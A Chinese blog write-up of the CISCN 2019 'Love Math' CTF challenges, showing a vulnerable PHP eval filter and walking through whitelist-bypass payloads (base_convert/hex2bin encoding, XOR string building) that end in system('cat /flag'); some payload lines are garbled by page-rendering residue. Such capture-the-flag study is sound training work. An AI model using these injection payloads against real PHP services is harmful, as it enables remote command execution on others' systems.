• 进制转换数学函数之[CISCN 2019 初赛]Love Math


    Love Math1

    1. error_reporting(0);
    2. //听说你很喜欢数学,不知道你是否爱它胜过爱flag
    3. if(!isset($_GET['c'])){
    4. show_source(__FILE__);
    5. }else{
    6. //例子 c=20-1
    7. $content = $_GET['c'];
    8. if (strlen($content) >= 80) {
    9. die("太长了不会算");
    10. }
    11. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    12. foreach ($blacklist as $blackitem) {
    13. if (preg_match('/' . $blackitem . '/m', $content)) {
    14. die("请不要输入奇奇怪怪的字符");
    15. }
    16. }
    17. //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    18. $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    19. preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    20. foreach ($used_funcs[0] as $func) {
    21. if (!in_array($func, $whitelist)) {
    22. die("请不要输入奇奇怪怪的函数");
    23. }
    24. }
    25. //帮你算出答案
    26. eval('echo '.$content.';');
    27. }

    知识点:

    1.动态函数;

    什么是动态函数;举例:
     

    1. $a = "system"
    2. 然后
    3. $a("whoami") = system("whoami")

    2.进制转换函数;

    hex2bin() 函数

    hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

    base_convert()函数能够在任意进制之间转换数字。比如可以将10进制转化为36进制;为什么是36进制呢?36进制代表数字0-9和小写字母a-z;这里可以利用它来转化得到其他数字或者小写字组成的函数比如hex2bin();

    dechex()将10进制转化为16进制;

    上面是知识点了;开始利用解决这道题;

    我们最终需要构造出;

    system(cat /flag)

    这个命令;为什么是这个呢?最后的eval万能函数,把这个名令传入进去就会得到

    eval(system(cat /flag))   ;

    直接输入是肯定不行的;

    那么就可以使用动态函数来链接它;

    $_GET['a']($_GET['b'])&a=system&b=cat /flag

    但是白名单里面只能有那几个函数;

    那么就需要使用那些函数来构造出_GET ;

    首先想到用hex2bin();

    16进制转化为字符串;

    _GET的16进制是5f474554

    但是这里有一个问题,有函数过滤掉16进制;那么就用dechex将10进制转化为16进制,5f474554的10进制是1598506324

    所以现在就有hex2bin(dechex(1598506324))=_GET

    但是hex2bin又不在白名单中;所以我们采用base_convert() 10进制转化为36进制构造hex2bin

    hex2bin  的10进制为37907361743

    所以base_convert(37907361743,10,36) = hex2bin

    一套操作下来就有:

    base_convert(37907361743,10,36)(dechex(1598506324)) = _GET

    最后payload:
    ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));

    piabs(" role="presentation" style="text-align: center; position: relative;">piabs(
    pi{exp})&abs=system&exp=cat /flag

    详细参考:CTF -- [CISCN 2019 初赛]Love Math 1(php杂项)_Gh0st_1n_The_shell的博客-CSDN博客

     Love Math 2

    1. error_reporting(0);
    2. //听说你很喜欢数学,不知道你是否爱它胜过爱flag
    3. if(!isset($_GET['c'])){
    4. show_source(__FILE__);
    5. }else{
    6. //例子 c=20-1
    7. $content = $_GET['c'];
    8. if (strlen($content) >= 60) {
    9. die("太长了不会算");
    10. }
    11. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    12. foreach ($blacklist as $blackitem) {
    13. if (preg_match('/' . $blackitem . '/m', $content)) {
    14. die("请不要输入奇奇怪怪的字符");
    15. }
    16. }
    17. //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    18. $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    19. preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    20. foreach ($used_funcs[0] as $func) {
    21. if (!in_array($func, $whitelist)) {
    22. die("请不要输入奇奇怪怪的函数");
    23. }
    24. }
    25. //帮你算出答案
    26. eval('echo '.$content.';');
    27. }

    这个比1少了转换字符的函数;那么就上终极大招:当然也可以直接用这个方法做第一题;

    知识点:

    PHP异或得到想要的字符串;很多的preg_match会过滤掉".",所以需要使用异或运算进行绕过,很多的免杀马都是这样制作的。php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。 

    脚本:
     

    1. //$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    2. $payload =['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    3. for($k=1;$k<=sizeof($payload);$k++){
    4. for($i = 0;$i < 9; $i++){
    5. for($j = 0;$j <=9;$j++){
    6. $exp = $payload[$k] ^ $i.$j;
    7. if ($exp=='_G'||$exp=='_'||$exp=='_GE'||$exp=='_GET'||$exp=='E'||$exp=='ET'||$exp=='T'){
    8. echo($payload[$k]."^$i$j"."==>$exp");
    9. echo "\n";
    10. }
    11. //echo($payload[$k]."^$i$j"."==>$exp");
    12. //echo "\n";
    13. }
    14. }
    15. }

     这个方法适用于第一题;看看运行结果:
     

    1. is_finite^64==>_G
    2. is_infinite^64==>_G
    3. is_nan^64==>_G
    4. mt_getrandmax^23==>_G
    5. mt_rand^23==>_G
    6. mt_srand^23==>_G
    7. rad2deg^75==>ET
    8. rand^75==>ET
    9. tan^15==>ET
    10. tanh^15==>ET
    11. ^00==>0

    就可以利用这些来构造_GET ;

    构造是需要注意,用 ‘ . ’来连接;

    $pi=(mt_rand^(2).(3)).(tan^(1).(5));

    //mt_rand^(2).(3)——>mt_rand^23==>_G

    tan^(1).(5)——>tan^15==>ET

    (_G).(ET)——>_GET

    所以直接构造:
    ?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));

    pi1(" role="presentation" style="text-align: center; position: relative;">pi1(
    pi{2})&1=system&2=cat /flag

  • 相关阅读:
    [LeetCode][54]【学习日记】螺旋遍历二维数组
    你知道有哪些好用的数据分析工具类软件?
    大数据技术基础实验五:Zookeeper实验——部署ZooKeeper
    一周快速入门Python之day01
    Springboot 自定义模板导出Excel文件
    SpringMVC系列(四)之SpringMVC实现文件上传和下载
    腾讯原来这么容易进去...
    华为云云耀云服务器L实例评测 | 实例场景体验之搭建接口服务:通过华为云云耀云服务器构建 API 服务
    【数据结构】---哈希表
    【POJ No. 1019】数字序列 Number Sequence
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126200088